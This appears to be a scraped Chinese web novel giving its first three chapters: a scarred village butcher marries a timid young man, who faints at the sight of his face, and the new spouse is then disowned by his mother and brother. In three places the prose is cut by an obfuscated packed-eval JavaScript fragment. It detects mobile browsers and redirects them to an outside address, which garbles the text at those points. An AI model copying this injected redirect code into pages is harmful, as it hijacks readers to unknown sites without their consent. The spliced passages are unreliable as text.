《屠户家的乖软小夫郎》 1. 新婚 立秋后没几天便是七夕佳节,天气虽然渐渐转凉,但末伏天的余威还在。 晌午时分日头毒辣,玉河村家家户户吃了中饭后出门纳凉,三三两两聚在村口大树底下或坐或站闲话家常。 几个闲不住的妇人端着洗衣的大木盆和棒槌去玉带河边洗衣裳。 这玉带河从六棱山一路蜿蜒而下,穿过玉河村流向远方,是附近几个村子最主要的水源。 为了村中东西两边住户往来方便,早几年集资修建了一座石拱桥,取名“状元桥”。 这时,一个妇人走到桥下阴凉处,蹲下身子一边舀水洗衣一边对身侧的人说道:“哎哎,他婶子,听说了没?李家老大,就是小李屠夫,要成亲了,花了二十两银子的彩礼娶夫郎呢!” “咋没听说?就这二十两银子,有人愿意嫁也是走了大运了!” “可不是嘛!就李癞脸那模样儿,”那妇人一努嘴,低声道,“入了洞房不得把人吓死?你看看咱们村,再瞅瞅附近村子的,谁家愿意把闺女双儿嫁给他啊!” 近旁另一个拿着捣衣杵捶打着衣裳的妇人道:“那熄了灯上了炕,臭汉子们都一个德行!这俊不俊、丑不丑的有啥不一样?” “哎吆吆,说起来这李屠户家底也不差,人又生的高大壮实还勤快能干,那你家姊妹寻摸亲事,怎地看不上他?非要去隔壁村寻摸?不都是庄稼汉嘛!” “去你的!” 被呛的妇人脸色一急,掬起一捧水便朝她扬去,被水洒了一脸的媳妇也不慌,两人笑着打闹起来。 说起李家的事来,附近的几个村子几乎无人不知、无人不晓,有时调皮的孩童也要凑到一起唱童谣似的喊上一句:“癞脸李屠户,睁眼吓死一头猪。老李屠夫抓猪,小李屠夫杀猪,不用刨子不用刀,睁眼吓死一头猪!” 老李屠夫本名李达,原是垣州府人氏,多年前解甲归田来到玉河村,凭着一身杀猪的手艺在此处成家立业,娶了村中大户周家的姑娘周秀娘为妻。 夫妻二人勤快肯干,二十多年来日子过的红红火火,唯一的心病便是大儿子李远山的婚事。 这李远山打小跟着老李屠夫学杀猪,将他爹一身本领学的七七八八,人称“小李屠夫”,但他自小因意外毁了脸,背地里不少人叫他“癞脸李屠户”。 因着面皮丑陋,哪怕家底在村里已算十分殷实,但说亲也是难上加难。前前后后请了不知多少媒人,如今长到二十有二,总算说成了一门亲事。 乡下普通人家说亲多以女子为主,其次才是双儿,因着双儿不易怀孕不好生养,彩礼钱也没有寻常女子成亲给的多。 一般人家女子给十两银子彩礼,双儿五两。而李远山这门亲却足足给了二十两彩礼!别说玉河村附近,就是镇上也少有给这么多的。 到了成亲前两日,李远山父子杀了两头家里的大肥猪做席面,请来帮忙的叔叔婶子阿嬷在李家门外的场院里忙忙碌碌,好不热闹。 这个场院本是家里杀猪用的场地,用篱笆围起来,再简单搭了棚子做灶房,只用来平日里李家父子杀猪烧水、清洗用。 但李远山近日成亲,流水席两天三桌宴请帮忙的亲戚邻居、成亲当日正席将近十桌,家里厨房根本摆不开,所以外面棚子就被征用了。 过了棚子再往里走是李家大门,两扇红漆木门朝南而立,此时院门敞着,能看见李远山带着俩弟弟李云山和李晓山在前院忙着将新打的家具搬进新房。 这些家具都是找了好木料打的,周秀娘眉眼间都是笑意,边摸边道:“轻点儿,轻点儿,新新儿的家当,别磕了碰了。” 李远山的新屋在西边,和父母兄弟的屋子隔着一个堂屋。 李家一溜宽敞明亮的五间大瓦房并两间耳房,西边耳房通向后院,后院养着鸡鸭牲畜,而前院则在西南角搭了牛棚,院子中间种些日常蔬菜瓜果,合着喜庆的气氛,院中的瓜果也显得格外可爱透亮。 忽地一声娇憨嗓音响起:“爹爹,爹爹!挂歪了!再往里边儿一点儿。” 说话的不是别人,正是李远山最小的妹妹李青梅。 踩着梯子正挂红灯笼的老李屠夫李达哈哈两声笑,接着挂另一边去了,他高兴啊,大儿子终于要娶夫郎了,等后日成亲拜堂必得多喝几杯! 新屋内的桌椅柜子放置妥当,跟着进来的周秀娘又上炕整了整叠放整齐的被褥,八铺八盖都是用的新棉花,被褥做的厚实暖和,一看就是为了迎娶新夫郎下了大功夫。 周秀娘舍得,必不会在此处小气,只要新夫郎同老大和和美美过日子,让她铺草席盖破布都行。 炕席上铺着崭新的大红炕布,窗户上贴了艳红的喜字,周秀娘又将铜镜脸盆等物件放在桌子上,这些都是专门去镇上买来给新夫郎用的。 普通农户娶亲,至多添置个新盆,乡下人照镜子的少,大多都是河边随意照照或是买个巴掌大的小镜子,像他们家这样大的铜镜,玉河村可是头一份。 想着想着,周秀娘笑着嘱咐:“远山这两日去你弟弟屋里挤一挤,莫污了新屋的被褥。” “知道了,娘。”李远山应着,继续闷头同弟弟们搬东西,他生的高大硬朗,结实挺拔,对着人时因左半边脸上疙疙瘩瘩的伤疤不常有多余的表情。 但此时此刻,看着忙碌的众人和喜庆的新房,又想起素未谋面却不嫌弃自己丑陋的夫郎,李远山还是忍不住咧了咧嘴,露出一个难得的笑来。 “大哥,你笑啥?”二弟李云山拎着炕桌问,“高兴成这样,那我可得好好闹洞房嘿嘿。” 三弟李晓山也接着道:“我也要闹!” “去去去,你个小屁孩儿懂什么?” “二哥你懂啊?” “干活儿去!就你俩话多,”周秀娘挥舞着鸡毛掸子道:“正经活儿不干,就知道捣乱。” 李远山没说话,闷头接着干活。心里想着快点收拾妥当,好迎娶夫郎。 ------------------------------------- 成亲当日,李家六口人在鸡鸣时分就起床了,大喜的日子,一家人个个脸上都透着喜悦。随着帮忙的亲戚朋友的到来,李家院里逐渐热闹起来。 李远山穿着一身大红喜服站在屋檐下,低着头听母亲说话:“赵家庄路远,来回也得两个时辰,咱们早早去,可别耽误了吉时。” 赵家庄离着玉河村路远,迎亲可不得早做准备。 李远山这门亲事得来不易,就因为他脸上有疤,到了说亲的年纪,请媒人把临近几个村子年龄合适的姑娘双儿问了个遍,都没有愿意相看的。 无奈之下,李家夫妻俩只好将彩礼提了又提,言明儿子面皮难看,愿意相看结亲的,李家必不会亏待。这才在隔了老远的村子赵家庄里寻摸到了一户方姓人家。 方家当家的汉子早年患病去世,留下媳妇独自拉扯着两个孩子长大,而李远山要娶的正是方家的二儿子方夏。 迎亲队伍准备妥当,便早早动身出发了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292657|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路匆忙,时间在众人忙碌中不知不觉过去了。 日头逐渐上移,天气渐渐热了起来,李家夫妻俩站在家门口不住向东边望。 不一会儿远处传来了敲锣打鼓的声音,迎亲的队伍回来了。 不知道谁喊了一声“快点鞭炮!”噼里啪啦的鞭炮声中,李远山高大的身姿走在前边,一路步履轻快,周围看热闹的人群时不时起哄两句,也没破坏他的好心情,甚至难得的露出了满足的笑意。 等到了家门口,围上来的人挤挤攘攘开始讨喜钱,成亲就图个吉利,虽没几个铜板,不过讨个热闹喜庆的好彩头。 李云山和李晓山兄弟俩站在花轿旁,将早早预备好的喜钱和喜糖洒向人群,众人各自争抢不提。 随着喊礼先生“请新夫郎下轿!”的声音响起,李远山抬脚踢开了轿门,转身蹲了下来。 不一会儿,一双柔软的手圈住了他的脖子,紧接着身后贴上来一副温热的躯体,一瞬间李远山几乎僵直了后背,不由得咕咚咽了口口水,想他当年学杀猪也没这么紧张过。 李远山深深吸了口气,手臂肌肉隆起,一使劲将夫郎稳稳背了起来。在周围人的笑闹声中,一路穿过前院跨过火盆,又迈过堂屋的门槛才将夫郎放下。 新夫郎成亲当日讲究脚不沾地,因此李家早就在堂屋拜堂的地上铺了红毡。 两人各执红绸一端拜堂后,李远山又将夫郎背进了他们的新屋。 等方夏在炕上坐稳,李远山又要转出去,他们这里讲究新人拜堂后才能开正席,新郎官需得去敬酒,正待开房门时,忽然觉出不妥,自己已然成亲,不能再同从前一样闷着了。 “我去敬酒,你且坐着,等会儿让小妹给你送些饭菜来。”说完有些紧张,不自觉叩了叩屋门。 直到听见炕上传来一声清浅的“嗯”,声音犹如清泉划过,李远山这才抬脚走出屋子。 坐在炕上的方夏紧张地揉搓着双手,上面还有没来得及消散的痕迹,他娘不喜待见他,平日里哪怕做再多的伙计,也是非打即骂。 如今嫁人了,他不似别的姑娘或是小哥儿,对未来充满了期盼,他只希望着能少挨顿打。 方才背着他的汉子,身形高大得吓人,让他现在都是惴惴不安的。 前院里,席面已经铺开了。村子里办酒席不像城里讲究杯盘碗碟,只用海碗装菜,量大管饱荤腥足,就是最上等的席面了。 李家上的同样是此地流行的“八大碗”,五个荤菜三个素菜,再加一道凉拌时蔬和豆腐汤,统共十道菜,主食则是油炸糕,而凉菜和汤若是不够还可以找厨房再添。 蒸肉、丸子、烧鸡、杂烩这几样荤腥就吃得人们舍不得抬头。而汉子们的桌上,几个相熟的汉子正同李远山拼酒。 几杯酒下肚,李远山的脸上泛着红,伤疤更显狰狞。 等喝完酒吃完席面,将客人一一送走,只剩下几个亲戚邻居帮忙收拾,李远山才迈着稳健的步子进了新屋。 李远山身上酒气浓重,怕惊了夫郎,自己先在桌子旁坐下,稳了稳心神开口道:“莫怕,我没醉。” 看见方夏顶着盖头轻轻点了两下,李远山才站起来走到炕边,他矮下身子一手握住夫郎攥着衣袖的双手,一手捏着盖头的一角缓缓掀开。 阳光映在窗户上,也映在李远山布满伤疤的左脸上。 方夏猛地睁圆了眼睛,一声惊叫脱口而出,登时软倒了身子,在李远山手足无措之时摔在炕上晕过去了。 2. 惊吓 李家正房,李达和朋亲们还在坐着喝酒,小辈子们吃完席都各自回家去了,只余下长辈们还在。 年李达孤身一人来到玉河村安家落户,能有如今的日子,也多亏了三位舅哥的帮衬,而他大儿子李远山的婚事更是托了三舅哥的福。 周家在本地是大户,家中子弟也出息,就老一辈兄弟姊妹五个里,老大周兴平德高望重,是族中的年岁最大的长辈,老二周兴旺则是远近闻名的草药郎中,老三周兴盛在镇上有钱人家里当管事,门路广认识人多。后边两个妹妹,除了大妹周秀娘,还有个小妹周月娘嫁去了隔壁村,也是人丁兴旺,日子红火。 灶房里,周秀娘正同妹妹周月娘收拾剩下的席面吃食。 今日帮忙的人多,等收拾妥当将这些都给帮忙的叔伯邻里分了,村里的人情世故都在这些细碎小事上,东西虽不贵重,却重的是心意,也不枉大家辛苦帮忙一场。 周月娘捅咕捅咕姐姐,打趣道:“我的老姐姐,看把你高兴的,一天了嘴就没合上过,这当了老婆婆了,明年就得当奶奶抱大胖孙子了吧。” “那敢情好!”周秀娘轻瞥一眼身边的妹妹,“我可是借你吉言喽。” 两人都是手脚麻利的人,不一会儿就将厨房收拾妥当,正说笑着,突然李远山猛地推开新屋的门跑了出来,手里还紧紧攥着一块大红盖头。 他肩宽腿长,几步迈进正房,边跑边喊:“二舅!二舅!快同外甥来看看方夏。” 李达见儿子这样,也有些慌神,他家大儿子性子沉稳话少,很少有急成这样的时候,不由撑着炕沿直起身子问:“远山,怎地了?” 李远山却理都没理他爹,匆匆拉起周兴旺便走,将他二舅拽得一个趔趄,差点摔下炕来。 “远山!怎地叫你二舅进新屋去了?这不合规矩啊。”周秀娘跟在后边直拍大腿。 可李远山管不了那么多,只是拉着他二舅周兴旺朝着新屋里跑。见此情景,众人面面相觑,不知道究竟发生了什么,只能在后面快步跟着。 一家子人都拥着周兴旺进了新屋,进门就看见新夫郎一动不动躺在炕上,紧闭着眼睛,脸色苍白得一点血色也无。 一时之间,众人都有些怔忪,想不通这是怎么回事,好端端的怎么成这样了? 还是当郎中的周兴旺反应快,开口道:“秀娘月娘去扶着人,远山去拿水来,要冰凉的,其余人都散开了别围着。”说着他抬手便搭上了方夏的脉搏。 “二舅,水。”李远山匆匆端着一碗水进来。 周兴旺接过水碗,张口含了一大口水,猛然冲着方夏的脸一喷,接着使劲掐住了方夏的人中,又冲着他的脸喷了口水,好一会儿功夫,方夏才悠悠吐出一口气,缓了过来。 “无妨,身体没什么大碍,一时受了刺激才晕过去了,”周兴旺拍拍手,指着枕头让拿过来给靠着,“就是这新夫郎,身体底子看着弱了些。” 屋里众人刚刚松了口气,正要询问李远山怎么回事,却听见炕上方夏扶着头缓缓坐了起来。 只见他半低着脑袋,眼神怯怯的,小心翼翼地打量着屋内的人。 忽地,他睁圆了一双杏仁眼,急促呼吸间抖着嗓子喊:“你……你走开!别过来!” 众人顺着他的目光看去,就见李远山垂着双手僵立在了炕边。 他想不通,明明答应了嫁给他,不嫌弃他脸上的伤疤,为何掀了盖头又是这副怕极了的模样。既然害怕嫌恶他长的样子,又为什么要嫁给他?李远山早前雀跃的心一点儿一点儿冷了下来。 屋里一时没人说话,方夏惊惧之下忍不住抽噎起来,声音低低的,边哭边往窗台边挪。 “夏哥儿,你这是咋回事?好好的怎地成这样了呀?”周兴盛开口道。 这门亲事还是他这个当三舅寻摸促成的,这大喜的日子新夫郎晕过去不说,醒来还不认夫君,他得问清楚,当初说亲时可不是这么说的。 周兴盛又接着道:“我们远山因着相貌的过,说亲确实艰难些,可当初我同你娘亲商议亲事时,也分说的明白,你娘亲说你在屋里头看就行,并无异议啊!” 方夏断断续续答:“可没人同我说他……说他……” “他怎样?” 方夏悄悄朝着李远山得方向看了一眼,而李远山不知什么时候已经背过身去。 “他的脸……” 众人愣住了,扶着人的周秀娘情急之下问了句:“夏哥儿,你不曾看见我儿面皮?” 缩在炕里面的方夏抽噎着低低摇了摇头。 屋里的人都沉默了,一时之间不知该怎么办。 虽说相亲嫁娶讲究父母之命媒妁之言,但他们乡下人家也讲求个你情我愿,往往是双方在定亲前要相看一面。 而李远山在定亲前也是跟着他三舅亲自去过方家的,那时方夏的母亲赵桂花言说孩子面皮薄,方夏在屋里悄悄看一眼就行,不曾想却是连人都没看到。 “夏哥儿,你娘亲是如何同你说的?”周兴盛微微皱着眉问。 “说他……说他高大……高大壮实,家里……也好。”方夏头一次被这么多人盯着,人才刚醒一阵子脑子不清楚,结结巴巴说着。 众人此时已然心知肚明,哪会料到方夏的母亲赵桂花贪图他们李家那二十两银子的彩礼钱,竟是两头欺瞒,哄的儿子上了花轿,抬来李家便再无回转的余地了。 李达气的狠狠捶了一下手掌,叹气道:“这叫什么话?啊,这叫什么事儿?” “这事不是怎么办的,得去他们方家问个清楚明白!”周秀娘说着就要走,被妹妹周月娘扶了一把,劝道:“姐姐莫急,咱们且先商议着。” 一直未曾说话的周家老大周兴平开口道:“问问远山的意思,这事也不是咱们这些老人家说了就算。” 李远山此时背着身,垂在身侧的手握紧又松开。 众人看不见他此刻的表情,只听见他低沉的声音:“他若真心不愿意嫁,那咱们家退亲就是。” 一句话像一滴水滴进了油锅里,屋里顿时炸了锅,众人吵吵嚷囔不停,一会儿说婚姻嫁娶岂能儿戏,一会儿说都行了礼就差洞房了如何退亲?一会儿又骂赵桂花黑心肠坑他们李家…… “夏哥儿,你当真不愿意?”周兴盛在一众吵嚷中又提高声量问道。 此时的方夏已然懵了,他还没从这一系列变故中醒过神,听见问他愿不愿意嫁给那个面目狰狞吓人的高大汉子,吓得说不出来话来,六神无主之下只是呆呆地点头,眼泪控制不住吧嗒吧嗒往下掉,连喘气都不敢大声。 他常常听见村里汉子打媳妇夫郎的动静,汉子们仗着身形比姑娘和哥儿高大,稍有不满就会动手打人,轻的鼻青眼肿,重的还有失手打死过人的。 而李远山比他以前见过的汉子都要高大许多,还是个屠夫,那真要动手了,自己还有命活吗? 方夏越想越害怕,生怕自己被打死,身体瑟缩着抖成一团,根本没注意听众人说了什么,脑子里嗡嗡一片。 而李家众人见方夏点头,更是气不打一处来,李家夫妇气不过要找方家说理,有要跟着一起去的,也有劝说的,各种声音交织在一起,一时间院子里闹哄哄的乱成了一锅粥。 李家的动静吸引了不少村里人,方夏被拉着坐上牛车时,看见许多人都围着看,心里更加惶然,他将头埋得低低的,日头正晒,恍惚间好像自己的魂儿都飘走了。 一路无话,到赵家庄村时正是申时末,村里的人正三五成群扎堆闲磕牙,不少人正热热闹闹唠着今日方家嫁哥儿的气派。 原本方家穷,再加上方家的媳妇赵桂花向来爱占个小便宜,常常得理不饶人,有理没理都能说出一朵花儿来,因此村中没多人愿意同他们来往。 今日却不同,方家嫁哥儿不仅得了二十两银子的彩礼,远近闻名,而且迎亲的居然还雇了花轿,这是多少人羡慕都羡慕不来的派头。 正说着,李家一大拨人呼啦啦进了村子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292658|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直奔方家而去。 唠嗑的人们都有些傻眼,这是唱的哪一出?早起刚嫁出去,这下午就回门了? 爱看热闹的人互相挤眉弄眼几下,纷纷搁下手里的活计,跟着去了方家。 方家院门外,周秀娘叉着腰喊:“赵桂花,赵桂花在不在?你出来!” 赵桂花一听这声音,匆匆往门口跑,一见这阵仗登时吓了一跳,再一看冷着一张脸的李远山,更是哎呀一声后退几步,险些被门槛绊倒摔出去。 “唉哟亲家,有话咱们进屋说,别站在门外。”赵桂花边说边想拉周秀娘等众人进门。 “我们不进去,就在这分说明白。赵桂花,当初咱们两家定亲时就说的一清二楚,因此这彩礼给的足足的,只要愿意嫁的我李家必不会亏待。你怎么说的?”周秀娘气冲冲地问。 周兴盛站出来说道:“方家的,这门亲事是我这个做三舅牵的线,咱们在此说道说道。你说你家哥儿同意这门亲事,你同意了就是哥儿同意了,还说你家哥儿不是在意面相的人,怎地一进门就变卦了?这是什么道理?” 门口看热闹的人聚了一堆,听着这话也明白了个大概,有踮着脚想挤进去看看能吓死一头猪的癞脸李屠户到底是个什么模样,有捂着嘴同挨着的人说小话的,架势做的足,可声音却一点不见小。 “我说啥来着,这赵桂花就是贪人家的银子,哪管儿子死活。” “可不是,平日里就爱占小便宜,如今这二十两银子摆在眼前,能不稀罕?” “我看呐,她这就是卖了夏哥儿,拿了人家的彩礼好给老大娶亲,这一来一回的还挣了呢!” “就是就是,见钱眼开,也不问问夏哥儿愿意不愿意,你们瞧瞧那李屠户,那身板,那半边脸,吓死人了都。” 看热闹的从来不嫌事儿大,村里人你一句我一句正正说中了赵桂花的心思,他们家穷,眼看着大儿子方春到了说亲的年纪,却没姑娘家愿意嫁,而李家这彩礼给的正好是瞌睡了递枕头——正是时候。 可自己想是一回事,被别人说就是另一回事了。 赵桂花一时窘迫,勉强扯出个笑来:“这中间肯定有什么误会,这大喜的日子,别听他们瞎说。” 抬眼看见方夏呆呆傻傻站着,她心里那个憋气啊,拽着方夏就骂:“定是这小兔崽子闹脾气了,好好的闹什么闹?” “误会?什么误会?我们是正经人家,虽说因我家老大脸上的伤,说亲艰难了些,但也没有强买强卖的道理。”李达沉着脸说道。 周秀娘也紧接着说道:“既然你家方夏不同意,我们家也不强留,人给你送回来了,东西就不说了,我们出的聘礼彩礼钱要原封不动还回来。” 一听要退钱,赵桂花顿时不干了,既然这事不能缓和过去,那就撕破脸吧。 这么想着,她就势往地上一坐,干嚎了起来: “我那早死的当家的啊,你怎么死的这么早?由着别人欺负我孤儿寡母,我的命好苦啊……” 她这干打雷不下雨的哭法,村里人见多了,也都习以为常。不一会儿,从方家门内转出来一个身材微胖的男子,正是方家的老大——方春。 本来他娘嘱咐他别出来,虽说方夏嫁人后家里少了个劳动力,日后他干的活就多了,不过能有钱娶媳妇他还是很高兴的。可这会儿一听要退钱他就不高兴了,没有那二十两银子,他上哪去说媳妇去? “亲是你们上门求的,人是你们抬走的,怎么到你们李家转一圈说不要就不要了?” “就是,人给你们家抬走了,这生米都煮成熟饭了,说退就退,天底下没这样的道理!”赵桂花坐在地上边哭边喊。 一时间矛头都对准了李远山,迎着村里人探寻的目光,李远山黑着一张脸没说话,但肉眼可见的生气了。 “胡说八道!”周秀娘骂道,正待要再骂几句为儿子辩驳一番,忽听人群齐齐惊呼一声,回头一看,方夏迈腿紧跑几步,脑袋竟是冲着门柱撞了过去! 3. 断亲 熬过了激昂似火的夏天,在温柔的秋意中人人都感受到了小北风的清凉,被微风晃动的枝丫上,感阴而鸣的寒蝉得意地叫起来,仿佛在告诉此地的人们炎热已经过去。 赵家庄方家门口,围观的人群此时都静悄悄的,越发显得虫鸣鸟叫声聒噪。 变故发生的太突然,谁也想不到默不作声的方夏突然发起狠来,直接撞了门柱。 电光火石之间,几步开外的李远山疾跑过去伸手一拽,旋过身去用后背垫在了门柱上,堪堪护住了方夏的头。 方夏一个哥儿本来力气没多大,但他抱着必死的决心一撞,竟然将李远山一个高大的汉子撞倒了,两人双双跌在地上滚作一团,灰尘泥土扑了满身满脸。 见着人没事,周围的人这才松了一口气。 几个好心的婶子赶忙上前将方夏搀扶起来,一边拍他身上的土一边七嘴八舌劝起来。 原本在地上坐着胡搅蛮缠的赵桂花也不坐了,站起来随便捡起一根树枝就冲着方夏抽过去:“你个丧门星!要死怎么不去李家死?都嫁人了还要给老娘找晦气!你不是想死吗?老娘打死你!” 死了好,死了就不用受这么多苦楚了,死了就不用被亲娘亲哥当着这许多人的面说没了清白,死了就不用受这些磋磨了。 方夏一动不动站着,他想了很多,想起了唯一心疼爱护他的阿奶,想起了日日辛苦劳作时娘亲和大哥的谩骂,也想起了见了一面就将他吓晕过去的夫君的脸。 他也是期盼过成亲的,不晓得未来的夫君是什么样子,是不是同村里寻常的汉子不同,不会打他也不会骂他,不过他向来干活利索,他知道多干活就能少些打骂呵斥。 方才从地上爬起来时,他不小心又看到了李远山的脸,这回他没被吓晕,但是心里还是忍不住颤了颤。 周秀娘看不下去了,走过去推搡了一把,一把抢下赵桂花打人的枝条,骂道:“你个黑了心的婆娘!自己家的孩子做什么打成这样。” “我家没这孩子,嫁给你们李家,生是你们李家的人,死是你们李家的鬼。与我方家没干系!” 方夏的脸煞白煞白的,整个人好像站也站不住,晃晃悠悠随时要倒在地上。他想问些什么,可张了张嘴,喉咙里好像堵了一块大石头,他说不出话来。 “既然同你方家没干系,你作何还要打他?”李远山沉声问道。 赵桂花被问的哑口无言,只好拉着脸不说话。 “是同我家没关系了,你李屠户心善,既能救他一条命,也不差养活他的一口饭,我家是没钱,打破脑袋也是没钱。”方春靠着墙说完,看都不看他弟弟一眼,仿佛那不过是路边的一块小石子,挡了路就一脚踢开,不挡路就如同不认识的陌生人。 “这是什么话呀?好歹是你弟弟,你们这算什么事啊?”几个扶着方夏的婶子愤愤不平地说道。 赵桂花指着几人,满嘴唾沫星子飞溅:“我呸!你们几个老货少在这说风凉话,嫁出去的哥儿泼出去的水,你们谁家愿意要谁要去,反正不是我家的!我家不要!” “就是,反正我家不要!”方春附和着,不时从嘴里还吐出几个带着唾沫星子的瓜子壳。 这一场闹下来,看热闹的人心里都唏嘘不已,谁成想方家竟然这样无情无义,围观的人有摇头叹息的,有骂方家母子的,但这始终不是自家的事,谁都不想招惹方家这么无赖的人。 站在人群中的方夏缓缓眨了眨眼睛,张口使劲咬住了下唇,有殷红的血丝顺着唇角留下,他仿佛要再次确认一般开口:“娘……” “我不是你娘,以后就当我没你这儿子!”赵桂花怒喝一声。 心一点一点沉了下去,他是知道的,从小他娘就不亲近他,他和哥哥方春明明只差一岁,可他娘那会为了给哥哥吃奶,就将不到半岁的他扔给阿奶养着。 后来阿奶没了,十多岁的他又过来娘这边生活,那时他爹也已经去世,日子过的艰难,家里有什么好吃的穿的用的从来不会给他,都是先紧着大哥。 而脏活累活却都是他去干,做饭洗衣种地,小小年纪却干了家里一大半的活计,稍有拖延就是一顿责骂。 他觉得自己从小就笨,笨就多干活,可无论他怎样努力做多少活计,都换不来娘亲的一句夸奖,唯有成亲前夕赵桂花对他极好,让他生出了许多不切实际的幻想。 从来没有什么不同,他现在明白了,他不过和路边的阿猫阿狗一样,从来都不受待见。 刚刚他娘污蔑李远山和他的清白时,他心都死了,鼓足勇气想一头碰死一了百了,却不想被李远山救了下来。 方夏抬头看了一圈,这回他该往哪棵树或者哪块石头上撞呢? 正寻摸着,猝不及防却对上了李远山看过来的视线,那双眼睛黑沉沉的,辨不清里面的情绪,吓得方夏又低下了头。 对了,还有李家,他不能就这么死了,他死了,那李家的娶亲的钱就白花了。人家也没做错什么,平白无故碰见这样的糟心事,总不能让人家赔了钱又没得着人。 只是他这样瘦弱的双儿,去做苦力不知道能不能禁得住李远山打一顿,正胡思乱想着,忽听李远山喊他的名字。 “方夏,”李远山侧着脸问他,“你愿意同我回家去吗?” 方夏愣住了,他的脸上是茫然的,不知道李远山是什么意思。直到李远山又问了一遍,方夏才反应过来对方还等着回话。 方夏没多少时间去细细思量,可就在这短短的几息之间,他的心思也是百转千回,李家无辜,李远山还救了他,好像除了跟他回去,再也没有第二条路可以走了。 哪怕是去当牛做马,他也认了。 “我愿意,我愿意同你回去。”方夏低着头轻轻回道。 得了方夏的答复,李远山转身对着方家母子俩说道:“从今往后,方夏同你们没有任何关系,你们记住了。” 听儿子如此说,李家夫妻俩知道这事就算这么了了,李达叹了口气,朗声道:“既如此,众位乡亲在此做个见证,他们方家不认这个儿子了,要断亲,那便断亲,从今往后我们两家再无任何干系,不再往来。” 说罢朝着众人拱了拱手。 众人自是应承不提。 ------------------------------------- 太阳渐渐西沉,绚丽的晚霞铺满天空,勤快些的人家早早便准备了晚饭,袅袅炊烟不时飘散在空中,伴着晚归的鸟儿一起淹没在暮色中看不见了。 方夏坐在牛车上看着前面赶车的李远山发呆,从赵家村返回时,他原本不敢再坐上牛车的,可正准备跟着走时,李远山将他拦住了,微微侧着脸让他坐到车上去。 方夏不敢忤逆对方,连忙爬上车乖乖坐下,再也不动了。 只是这一路上,李远山不是背对着他就是侧着脸,从醒来到现在,他几乎没怎么看清过对方脸上的伤疤。 正如此时,李远山走在前面牵着牛,背影挺直高大,在夕阳的映照下拖着一条长长的影子,让他不由得咽了口口水,他应该不会挨打吧。 不过李远山是个好人,不仅救了他,还让他同他们一道回家,无论是做什么活计,下地干活还是家务扫洒他都会,只盼着李远山下手轻点。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292659|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 牛车吱吱呀呀,回到玉河村早已天黑,停在李家门前时方夏还没回神,下车时身形有些摇晃,他本来就比旁的双儿体弱些,再加上这一顿折腾,此时已经是身心俱疲。 李远山见方夏如此,便喊来了小妹李青梅将他带回了新屋。 前院里,汉子们将办酒席的桌椅收拾妥当,准备明日天亮后再还,周秀娘拍拍后腰进了厨房,酒席没吃好晚上这顿可不能再饿着了。 新屋里,方夏局促地站了一会儿便挨着炕沿边坐下了,他有些头晕,身上还穿着大红的喜服,天热再加上一天的折腾,里层早就被汗浸透了,可他不知道要怎么办,这里的一切他都不熟悉,他不敢贸然出去。 不一会儿,厨房就飘过一阵饭菜的香味。 村里婚丧嫁娶办酒席,剩下的食材没动过的会先紧着来帮忙的亲戚朋友们送一些,剩余的菜就倒到一个大盆内,无论荤菜素菜最后都一起烩着吃,留足自家的后就会给近处的邻居们分。 村里日子清苦,能得一大碗油旺旺的大烩菜吃,谁家也不嫌弃。 周秀娘端着一大碗手擀面出来,递给李远山示意他给方夏送去,李远山正要喊小妹去送,被他娘拽住了,扯着他的衣袖说道:“你去送,别什么都指着你妹妹。” 李远山梗着脖子,站在厨房门口没动。 气得周秀娘拍了拍他的胳膊,开口道:“别犯倔!你同娘说,你将人领回来不是做你夫郎?那一会儿洞房也要你妹妹代你去?” 李远山不说话了,只一手接过碗向着新屋走去。 看见进屋的是李远山,方夏不自觉有些惊慌,不由得屏气凝神坐得更直了,甚至连呼吸都放慢了几分,看着渐渐走近的高大身影,他想躲又不敢动,一时间连眼睛都僵住了。 “莫怕,我来给你送些吃的。”说着李远山一手将地上立着的炕桌拎起来放上炕,一手将那一大碗面放在炕桌上,“你吃吧,我去外面吃。” 一大碗手擀面,上面铺着油亮亮的几片肥瘦相间的扒肉条,绿油油几颗水润的小青菜夹在面条中间,旁边还卧着一个荷包蛋。 等李远山出去了,方夏才稍稍喘了一口气,急忙低下头呼噜噜吃起来。 他饿得狠了,顾不上什么斯文,再说他一个乡下双儿哪里晓得什么是斯文,一碗面下肚总算不头晕了,甚至连面汤都喝得一干二净。 身上有了力气后,方夏开始打量起这间屋子。 正面整齐立着两个大柜子,西面墙边放着一张崭新的桌子并两把椅子,东面则是一个小小的梳妆台,上面放着铜镜和木盆,旁边紧挨着放了一个矮凳,方便洗漱用,再过去几步便是屋门,通向堂屋,而他此时坐着的炕上也平平整整摞着厚厚的行李,一看就是极用心地布置过。 